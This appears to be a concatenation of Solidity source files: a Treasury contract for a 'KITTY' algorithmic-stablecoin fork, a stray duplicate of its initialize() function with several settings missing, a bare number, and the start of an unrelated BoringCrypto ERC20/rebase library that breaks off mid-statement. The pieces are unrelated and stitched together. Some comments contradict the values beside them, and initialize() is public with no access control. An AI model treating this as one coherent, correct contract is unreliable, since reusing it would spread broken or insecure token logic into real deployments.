require(!checkSameSenderReentranted(), "ContractGuard: one block, one function"); _; _status[block.number][tx.origin] = true; _status[block.number][msg.sender] = true; } } // File contracts/interfaces/IBasisAsset.sol // License-Identifier: MIT pragma solidity ^0.6.0; interface IBasisAsset { function mint(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function burnFrom(address from, uint256 amount) external; function isOperator() external returns (bool); function operator() external view returns (address); function transferOperator(address newOperator_) external; } // File contracts/interfaces/IOracle.sol // License-Identifier: MIT pragma solidity 0.6.12; interface IOracle { function update() external; function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut); function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut); } // File contracts/interfaces/INursery.sol // License-Identifier: MIT pragma solidity 0.6.12; interface INursery { function balanceOf(address _member) external view returns (uint256); function earned(address _member) external view returns (uint256); function canWithdraw(address _member) external view returns (bool); function canClaimReward(address _member) external view returns (bool); function epoch() external view returns (uint256); function nextEpochPoint() external view returns (uint256); function getKittyPrice() external view returns (uint256); function setOperator(address _operator) external; function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external; function stake(uint256 _amount) external; function withdraw(uint256 _amount) external; function exit() external; function claimReward() external; function allocateSeigniorage(uint256 _amount) external; function governanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external; } // File contracts/Treasury.sol // License-Identifier: MIT pragma solidity 0.6.12; /* __ __ __ ______ ______ __ __ /\ \/ / /\ \ /\__ _\ /\__ _\ /\ \_\ \ \ \ _"-. \ \ \ \/_/\ \/ \/_/\ \/ \ \____ \ \ \_\ \_\ \ \_\ \ \_\ \ \_\ \/\_____\ \/_/\/_/ \/_/ \/_/ \/_/ \/_____/ */ contract Treasury is ContractGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========= CONSTANT VARIABLES ======== */ uint256 public constant PERIOD = 6 hours; /* ========== STATE VARIABLES ========== */ // governance address public operator; // flags bool public initialized = false; // epoch uint256 public startTime; uint256 public epoch = 0; uint256 public epochSupplyContractionLeft = 0; // core components address public kitty; address public bbond; address public bshare; address public nursery; address public kittyOracle; // price uint256 public kittyPriceOne; uint256 public kittyPriceCeiling; uint256 public seigniorageSaved; uint256[] public supplyTiers; uint256[] public maxExpansionTiers; uint256 public maxSupplyExpansionPercent; uint256 public bondDepletionFloorPercent; uint256 public seigniorageExpansionFloorPercent; uint256 public maxSupplyContractionPercent; uint256 public maxDebtRatioPercent; // 28 first epochs (1 week) with 4.5% expansion regardless of KITTY price uint256 public bootstrapEpochs; uint256 public bootstrapSupplyExpansionPercent; /* =================== Added variables =================== */ uint256 public previousEpochKittyPrice; uint256 public maxDiscountRate; // when purchasing bond uint256 public maxPremiumRate; // when redeeming bond uint256 public discountPercent; uint256 public premiumThreshold; uint256 public premiumPercent; uint256 public mintingFactorForPayingDebt; // print extra KITTY during debt phase address public daoFund; uint256 public daoFundSharedPercent; address public devFund; uint256 public devFundSharedPercent; address public team1Fund; uint256 public team1FundSharedPercent; /* =================== Events =================== */ event Initialized(address indexed executor, uint256 at); event BurnedBonds(address indexed from, uint256 bondAmount); event RedeemedBonds(address indexed from, uint256 kittyAmount, uint256 bondAmount); event BoughtBonds(address indexed from, uint256 kittyAmount, uint256 bondAmount); event TreasuryFunded(uint256 timestamp, uint256 seigniorage); event NurseryFunded(uint256 timestamp, uint256 seigniorage); event DaoFundFunded(uint256 timestamp, uint256 seigniorage); event DevFundFunded(uint256 timestamp, uint256 seigniorage); event TeamFundFunded(uint256 timestamp, uint256 seigniorage); /* =================== Modifier =================== */ modifier onlyOperator() { require(operator == msg.sender, "Treasury: caller is not the operator"); _; } modifier checkCondition() { require(now >= startTime, "Treasury: not started yet"); _; } modifier checkEpoch() { require(now >= nextEpochPoint(), "Treasury: not opened yet"); _; epoch = epoch.add(1); epochSupplyContractionLeft = (getKittyPrice() > kittyPriceCeiling) ? 0 : getKittyCirculatingSupply().mul(maxSupplyContractionPercent).div(10000); } modifier checkOperator() { require( IBasisAsset(kitty).operator() == address(this) && IBasisAsset(bbond).operator() == address(this) && IBasisAsset(bshare).operator() == address(this) && Operator(nursery).operator() == address(this), "Treasury: need more permission" ); _; } modifier notInitialized() { require(!initialized, "Treasury: already initialized"); _; } /* ========== VIEW FUNCTIONS ========== */ function isInitialized() public view returns (bool) { return initialized; } // epoch function nextEpochPoint() public view returns (uint256) { return startTime.add(epoch.mul(PERIOD)); } // oracle function getKittyPrice() public view returns (uint256 kittyPrice) { try IOracle(kittyOracle).consult(kitty, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult KITTY price from the oracle"); } } function getKittyUpdatedPrice() public view returns (uint256 _kittyPrice) { try IOracle(kittyOracle).twap(kitty, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult KITTY price from the oracle"); } } // budget function getReserve() public view returns (uint256) { return seigniorageSaved; } function getBurnableKittyLeft() public view returns (uint256 _burnableKittyLeft) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice <= kittyPriceOne) { uint256 _kittySupply = getKittyCirculatingSupply(); uint256 _bondMaxSupply = _kittySupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(bbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnableKitty = _maxMintableBond.mul(_kittyPrice).div(1e18); _burnableKittyLeft = Math.min(epochSupplyContractionLeft, _maxBurnableKitty); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice > kittyPriceCeiling) { uint256 _totalKitty = IERC20(kitty).balanceOf(address(this)); uint256 _rate = getBondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalKitty.mul(1e18).div(_rate); } } } function getBondDiscountRate() public view returns (uint256 _rate) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice <= kittyPriceOne) { if (discountPercent == 0) { // no discount _rate = kittyPriceOne; } else { uint256 _bondAmount = kittyPriceOne.mul(1e18).div(_kittyPrice); // to burn 1 KITTY uint256 _discountAmount = _bondAmount.sub(kittyPriceOne).mul(discountPercent).div(10000); _rate = kittyPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function getBondPremiumRate() public view returns (uint256 _rate) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice > kittyPriceCeiling) { uint256 _kittyPricePremiumThreshold = kittyPriceOne.mul(premiumThreshold).div(100); if (_kittyPrice >= _kittyPricePremiumThreshold) { //Price > 1.10 uint256 _premiumAmount = _kittyPrice.sub(kittyPriceOne).mul(premiumPercent).div(10000); _rate = kittyPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } else { // no premium bonus _rate = kittyPriceOne; } } } /* ========== GOVERNANCE ========== */ function initialize( address _kitty, address _bbond, address _bshare, address _kittyOracle, address _nursery, uint256 _startTime ) public notInitialized { kitty = _kitty; bbond = _bbond; bshare = _bshare; kittyOracle = _kittyOracle; nursery = _nursery; startTime = _startTime; kittyPriceOne = 10**18; // This is to allow a PEG of 1 KITTY per AVAX kittyPriceCeiling = kittyPriceOne.mul(101).div(100); // Dynamic max expansion percent supplyTiers = [0 ether, 5000 ether, 10000 ether, 15000 ether, 20000 ether, 50000 ether, 100000 ether, 200000 ether, 500000 ether]; maxExpansionTiers = [450, 400, 350, 300, 250, 200, 150, 125, 100]; maxSupplyExpansionPercent = 400; // Upto 4.0% supply for expansion bondDepletionFloorPercent = 10000; // 100% of Bond supply for depletion floor seigniorageExpansionFloorPercent = 3500; // At least 35% of expansion reserved for nursery maxSupplyContractionPercent = 300; // Upto 3.0% supply for contraction (to burn KITTY and mint tBOND) maxDebtRatioPercent = 4500; // Upto 35% supply of tBOND to purchase premiumThreshold = 110; premiumPercent = 7000; // First 28 epochs with 4.5% expansion bootstrapEpochs = 0; bootstrapSupplyExpansionPercent = 450; // set seigniorageSaved to it's balance seigniorageSaved = IERC20(kitty).balanceOf(address(this)); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setNursery(address _nursery) external onlyOperator { nursery = _nursery; } function setKittyOracle(address _kittyOracle) external onlyOperator { kittyOracle = _kittyOracle; } function setKittyPriceCeiling(uint256 _kittyPriceCeiling) external onlyOperator { require(_kittyPriceCeiling >= kittyPriceOne && _kittyPriceCeiling <= kittyPriceOne.mul(120).div(100), "out of range"); // [$1.0, $1.2] kittyPriceCeiling = _kittyPriceCeiling; } function setMaxSupplyExpansionPercents(uint256 _maxSupplyExpansionPercent) external onlyOperator { require(_maxSupplyExpansionPercent >= 10 && _maxSupplyExpansionPercent <= 1000, "_maxSupplyExpansionPercent: out of range"); // [0.1%, 10%] maxSupplyExpansionPercent = _maxSupplyExpansionPercent; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setMaxExpansionTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); require(_value >= 10 && _value <= 1000, "_value: out of range"); // [0.1%, 10%] maxExpansionTiers[_index] = _value; return true; } function setBondDepletionFloorPercent(uint256 _bondDepletionFloorPercent) external onlyOperator { require(_bondDepletionFloorPercent >= 500 && _bondDepletionFloorPercent <= 10000, "out of range"); // [5%, 100%] bondDepletionFloorPercent = _bondDepletionFloorPercent; } function setMaxSupplyContractionPercent(uint256 _maxSupplyContractionPercent) external onlyOperator { require(_maxSupplyContractionPercent >= 100 && _maxSupplyContractionPercent <= 1500, "out of range"); // [0.1%, 15%] maxSupplyContractionPercent = _maxSupplyContractionPercent; } function setMaxDebtRatioPercent(uint256 _maxDebtRatioPercent) external onlyOperator { require(_maxDebtRatioPercent >= 1000 && _maxDebtRatioPercent <= 10000, "out of range"); // [10%, 100%] maxDebtRatioPercent = _maxDebtRatioPercent; } function setBootstrap(uint256 _bootstrapEpochs, uint256 _bootstrapSupplyExpansionPercent) external onlyOperator { require(_bootstrapEpochs <= 120, "_bootstrapEpochs: out of range"); // <= 1 month require(_bootstrapSupplyExpansionPercent >= 100 && _bootstrapSupplyExpansionPercent <= 1000, "_bootstrapSupplyExpansionPercent: out of range"); // [1%, 10%] bootstrapEpochs = _bootstrapEpochs; bootstrapSupplyExpansionPercent = _bootstrapSupplyExpansionPercent; } function setExtraFunds( address _daoFund, uint256 _daoFundSharedPercent, address _devFund, uint256 _devFundSharedPercent, address _team1Fund, uint256 _team1FundSharedPercent ) external onlyOperator { require(_daoFund != address(0), "zero"); require(_daoFundSharedPercent <= 3000, "out of range"); // <= 30% require(_devFund != address(0), "zero"); require(_devFundSharedPercent <= 500, "out of range"); // <= 5% require(_team1Fund != address(0), "zero"); require(_team1FundSharedPercent <= 500, "out of range"); // <= 5% daoFund = _daoFund; daoFundSharedPercent = _daoFundSharedPercent; devFund = _devFund; devFundSharedPercent = _devFundSharedPercent; team1Fund = _team1Fund; team1FundSharedPercent = _team1FundSharedPercent; } function setMaxDiscountRate(uint256 _maxDiscountRate) external onlyOperator { maxDiscountRate = _maxDiscountRate; } function setMaxPremiumRate(uint256 _maxPremiumRate) external onlyOperator { maxPremiumRate = _maxPremiumRate; } function setDiscountPercent(uint256 _discountPercent) external onlyOperator { require(_discountPercent <= 20000, "_discountPercent is over 200%"); discountPercent = _discountPercent; } function setPremiumThreshold(uint256 _premiumThreshold) external onlyOperator { require(_premiumThreshold >= kittyPriceCeiling, "_premiumThreshold exceeds kittyPriceCeiling"); require(_premiumThreshold <= 150, "_premiumThreshold is higher than 1.5"); premiumThreshold = _premiumThreshold; } function setPremiumPercent(uint256 _premiumPercent) external onlyOperator { require(_premiumPercent <= 20000, "_premiumPercent is over 200%"); premiumPercent = _premiumPercent; } function setMintingFactorForPayingDebt(uint256 _mintingFactorForPayingDebt) external onlyOperator { require(_mintingFactorForPayingDebt >= 10000 && _mintingFactorForPayingDebt <= 20000, "_mintingFactorForPayingDebt: out of range"); // [100%, 200%] mintingFactorForPayingDebt = _mintingFactorForPayingDebt; } /* ========== MUTABLE FUNCTIONS ========== */ function _updateKittyPrice() internal { try IOracle(kittyOracle).update() {} catch {} } function getKittyCirculatingSupply() public view returns (uint256) { IERC20 kittyErc20 = IERC20(kitty); uint256 totalSupply = kittyErc20.totalSupply(); uint256 balanceExcluded = 0; return totalSupply.sub(balanceExcluded); } function buyBonds(uint256 _kittyAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_kittyAmount > 0, "Treasury: cannot purchase bonds with zero amount"); uint256 kittyPrice = getKittyPrice(); require(kittyPrice == targetPrice, "Treasury: KITTY price moved"); require( kittyPrice < kittyPriceOne, // price < $1 "Treasury: kittyPrice not eligible for bond purchase" ); require(_kittyAmount <= epochSupplyContractionLeft, "Treasury: not enough bond left to purchase"); uint256 _rate = getBondDiscountRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _bondAmount = _kittyAmount.mul(_rate).div(1e18); uint256 kittySupply = getKittyCirculatingSupply(); uint256 newBondSupply = IERC20(bbond).totalSupply().add(_bondAmount); require(newBondSupply <= kittySupply.mul(maxDebtRatioPercent).div(10000), "over max debt ratio"); IBasisAsset(kitty).burnFrom(msg.sender, _kittyAmount); IBasisAsset(bbond).mint(msg.sender, _bondAmount); epochSupplyContractionLeft = epochSupplyContractionLeft.sub(_kittyAmount); _updateKittyPrice(); emit BoughtBonds(msg.sender, _kittyAmount, _bondAmount); } function redeemBonds(uint256 _bondAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_bondAmount > 0, "Treasury: cannot redeem bonds with zero amount"); uint256 kittyPrice = getKittyPrice(); require(kittyPrice == targetPrice, "Treasury: KITTY price moved"); require( kittyPrice > kittyPriceCeiling, // price > $1.01 "Treasury: kittyPrice not eligible for bond purchase" ); uint256 _rate = getBondPremiumRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _kittyAmount = _bondAmount.mul(_rate).div(1e18); require(IERC20(kitty).balanceOf(address(this)) >= _kittyAmount, "Treasury: treasury has no more budget"); seigniorageSaved = seigniorageSaved.sub(Math.min(seigniorageSaved, _kittyAmount)); IBasisAsset(bbond).burnFrom(msg.sender, _bondAmount); IERC20(kitty).safeTransfer(msg.sender, _kittyAmount); _updateKittyPrice(); emit RedeemedBonds(msg.sender, _kittyAmount, _bondAmount); } function _sendToNursery(uint256 _amount) internal { IBasisAsset(kitty).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(kitty).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(kitty).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } uint256 _team1FundSharedAmount = 0; if (team1FundSharedPercent > 0) { _team1FundSharedAmount = _amount.mul(team1FundSharedPercent).div(10000); IERC20(kitty).transfer(team1Fund, _team1FundSharedAmount); emit TeamFundFunded(now, _team1FundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount).sub(_team1FundSharedAmount); IERC20(kitty).safeApprove(nursery, 0); IERC20(kitty).safeApprove(nursery, _amount); INursery(nursery).allocateSeigniorage(_amount); emit NurseryFunded(now, _amount); } function _calculateMaxSupplyExpansionPercent(uint256 _kittySupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_kittySupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updateKittyPrice(); previousEpochKittyPrice = getKittyPrice(); uint256 kittySupply = getKittyCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { // 28 first epochs with 4.5% expansion _sendToNursery(kittySupply.mul(bootstrapSupplyExpansionPercent).div(10000)); } else { if (previousEpochKittyPrice > kittyPriceCeiling) { // Expansion ($KITTY Price > 1 $ETH): there is some seigniorage to be allocated uint256 bondSupply = IERC20(bbond).totalSupply(); uint256 _percentage = previousEpochKittyPrice.sub(kittyPriceOne); uint256 _savedForBond; uint256 _savedForNursery; uint256 _mse = _calculateMaxSupplyExpansionPercent(kittySupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { // saved enough to pay debt, mint as usual rate _savedForNursery = kittySupply.mul(_percentage).div(1e18); } else { // have not saved enough to pay debt, mint more uint256 _seigniorage = kittySupply.mul(_percentage).div(1e18); _savedForNursery = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForNursery); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForNursery > 0) { _sendToNursery(_savedForNursery); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(kitty).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function governanceRecoverUnsupported( IERC20 _token, uint256 _amount, address _to ) external onlyOperator { // do not allow to drain core tokens require(address(_token) != address(kitty), "kitty"); require(address(_token) != address(bbond), "bond"); require(address(_token) != address(bshare), "share"); _token.safeTransfer(_to, _amount); } function nurserySetOperator(address _operator) external onlyOperator { INursery(nursery).setOperator(_operator); } function nurserySetLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator { INursery(nursery).setLockUp(_withdrawLockupEpochs, _rewardLockupEpochs); } function nurseryAllocateSeigniorage(uint256 amount) external onlyOperator { INursery(nursery).allocateSeigniorage(amount); } function nurseryGovernanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external onlyOperator { INursery(nursery).governanceRecoverUnsupported(_token, _amount, _to); } }
Dynamic max expansion percent First 28 epochs with 4.5% expansion set seigniorageSaved to it's balance
function initialize( address _kitty, address _bbond, address _bshare, address _kittyOracle, address _nursery, uint256 _startTime ) public notInitialized { kitty = _kitty; bbond = _bbond; bshare = _bshare; kittyOracle = _kittyOracle; nursery = _nursery; startTime = _startTime; kittyPriceCeiling = kittyPriceOne.mul(101).div(100); supplyTiers = [0 ether, 5000 ether, 10000 ether, 15000 ether, 20000 ether, 50000 ether, 100000 ether, 200000 ether, 500000 ether]; maxExpansionTiers = [450, 400, 350, 300, 250, 200, 150, 125, 100]; premiumThreshold = 110; premiumPercent = 7000; bootstrapEpochs = 0; bootstrapSupplyExpansionPercent = 450; seigniorageSaved = IERC20(kitty).balanceOf(address(this)); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); }
1,062,519
// SPDX-License-Identifier: UNLICENSED // Banker Medium Risk // __ __ __ __ _____ __ __ // | |/ .---.-.-----| |--|__| | |_.-----.-----.--| |__.-----.-----. // | <| _ |__ --| | | | | -__| | _ | | | _ | // |__|\__|___._|_____|__|__|__| |_______|_____|__|__|_____|__|__|__|___ | // |_____| // Copyright (c) 2021 BoringCrypto - All rights reserved // Twitter: @Boring_Crypto // Special thanks to: // @0xKeno - for all his invaluable contributions // @burger_crypto - for the idea of trying to let the LPs benefit from liquidations // Version: 22-Feb-2021 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls // solhint-disable no-inline-assembly // solhint-disable not-rely-on-time // solhint-disable indent // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] // License-Identifier: MIT /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT // Audit on 5-Jan-2021 by Keno and BoringCrypto // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto contract BoringOwnableData { address public owner; address public pendingOwner; } contract BoringOwnable is BoringOwnableData { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /// @notice `owner` defaults to msg.sender on construction. constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require( newOwner != address(0) || renounce, "Ownable: zero address" ); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require( msg.sender == _pendingOwner, "Ownable: caller != pending owner" ); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT // Based on code and smartness by Ross Campbell and Keno // Uses immutable to pantry the domain separator to reduce gas usage // If the chain id changes due to a fork, the forked chain will calculate on the fly. contract Domain { bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"); // See https://eips.ethereum.org/EIPS/eip-191 string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01"; // solhint-disable var-name-mixedcase bytes32 private immutable _DOMAIN_SEPARATOR; uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID; /// @dev Calculate the DOMAIN_SEPARATOR function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) { return keccak256( abi.encode( DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this) ) ); } constructor() public { uint256 chainId; assembly { chainId := chainid() } _DOMAIN_SEPARATOR = _calculateDomainSeparator( DOMAIN_SEPARATOR_CHAIN_ID = chainId ); } /// @dev Return the DOMAIN_SEPARATOR // It's named internal to allow making it public from the contract that uses it by creating a simple view function // with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator. // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() public view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); } function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) { digest = keccak256( abi.encodePacked( EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, DOMAIN_SEPARATOR(), dataHash ) ); } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT // solhint-disable no-inline-assembly // solhint-disable not-rely-on-time // Data part taken out for building of contracts that receive delegate calls contract ERC20Data { /// @notice owner > balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner > nonce mapping. Used in `permit`. mapping(address => uint256) public nonces; } contract ERC20 is ERC20Data, Domain { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move the tokens. /// @param amount of the tokens to move. /// @return (bool) Returns True if succeeded. function transfer(address to, uint256 amount) public returns (bool) { // If `amount` is 0, or `msg.sender` is `to` nothing happens if (amount != 0) { uint256 srcBalance = balanceOf[msg.sender]; require(srcBalance >= amount, "ERC20: balance too low"); if (msg.sender != to) { require(to != address(0), "ERC20: no zero address"); // Moved down so low balance calls safe some gas balanceOf[msg.sender] = srcBalance - amount; // Underflow is checked balanceOf[to] += amount; // Can't overflow because totalSupply would be greater than 2^256-1 } } emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`. /// @param from Address to draw tokens from. /// @param to The address to move the tokens. /// @param amount The token amount to move. /// @return (bool) Returns True if succeeded. function transferFrom( address from, address to, uint256 amount ) public returns (bool) { // If `amount` is 0, or `from` is `to` nothing happens if (amount != 0) { uint256 srcBalance = balanceOf[from]; require(srcBalance >= amount, "ERC20: balance too low"); if (from != to) { uint256 spenderAllowance = allowance[from][msg.sender]; // If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20). if (spenderAllowance != type(uint256).max) { require( spenderAllowance >= amount, "ERC20: allowance too low" ); allowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked } require(to != address(0), "ERC20: no zero address"); // Moved down so other failed calls safe some gas balanceOf[from] = srcBalance - amount; // Underflow is checked balanceOf[to] += amount; // Can't overflow because totalSupply would be greater than 2^256-1 } } emit Transfer(from, to, amount); return true; } /// @notice Approves `amount` from sender to be spend by `spender`. /// @param spender Address of the party that can draw from msg.sender's account. /// @param amount The maximum collective amount that `spender` can draw. /// @return (bool) Returns True if approved. function approve(address spender, uint256 amount) public returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice Approves `value` from `owner_` to be spend by `spender`. /// @param owner_ Address of the owner. /// @param spender The address of the spender that gets approved to draw from `owner_`. /// @param value The maximum collective amount that `spender` can draw. /// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds). function permit( address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner_ != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); require( ecrecover( _getDigest( keccak256( abi.encode( PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline ) ) ), v, r, s ) == owner_, "ERC20: Invalid Signature" ); allowance[owner_][spender] = value; emit Approval(owner_, spender, value); } } // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] // License-Identifier: MIT interface IMasterContract { /// @notice Init function that gets called from `BoringFactory.deploy`. /// Also kown as the constructor for cloned contracts. /// Any ETH send to `BoringFactory.deploy` ends up here. /// @param data Can be abi encoded arguments or anything else. function init(bytes calldata data) external payable; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] // License-Identifier: MIT struct Rebase { uint128 elastic; uint128 base; } /// @notice A rebasing library using overflow-/underflow-safe math. library RebaseLibrary { using BoringMath for uint256; using BoringMath128 for uint128; /// @notice Calculates the base value in relationship to `elastic` and `total`. function toBase( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (uint256 base) { if (total.elastic == 0) { base = elastic; } else { base = elastic.mul(total.base) / total.elastic; if (roundUp && base.mul(total.elastic) / total.base < elastic) { base = base.add(1); } } } /// @notice Calculates the elastic value in relationship to `base` and `total`. function toElastic( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (uint256 elastic) { if (total.base == 0) { elastic = base; } else { elastic = base.mul(total.elastic) / total.base; if (roundUp && elastic.mul(total.base) / total.elastic < base) { elastic = elastic.add(1); } } } /// @notice Add `elastic` to `total` and doubles `total.base`. /// @return (Rebase) The new total. /// @return base in relationship to `elastic`. function add( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (Rebase memory, uint256 base) { base = toBase(total, elastic, roundUp); total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return (total, base); } /// @notice Sub `base` from `total` and update `total.elastic`. /// @return (Rebase) The new total. /// @return elastic in relationship to `base`. function sub( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (Rebase memory, uint256 elastic) { elastic = toElastic(total, base, roundUp); total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return (total, elastic); } /// @notice Add `elastic` and `base` to `total`. function add( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = 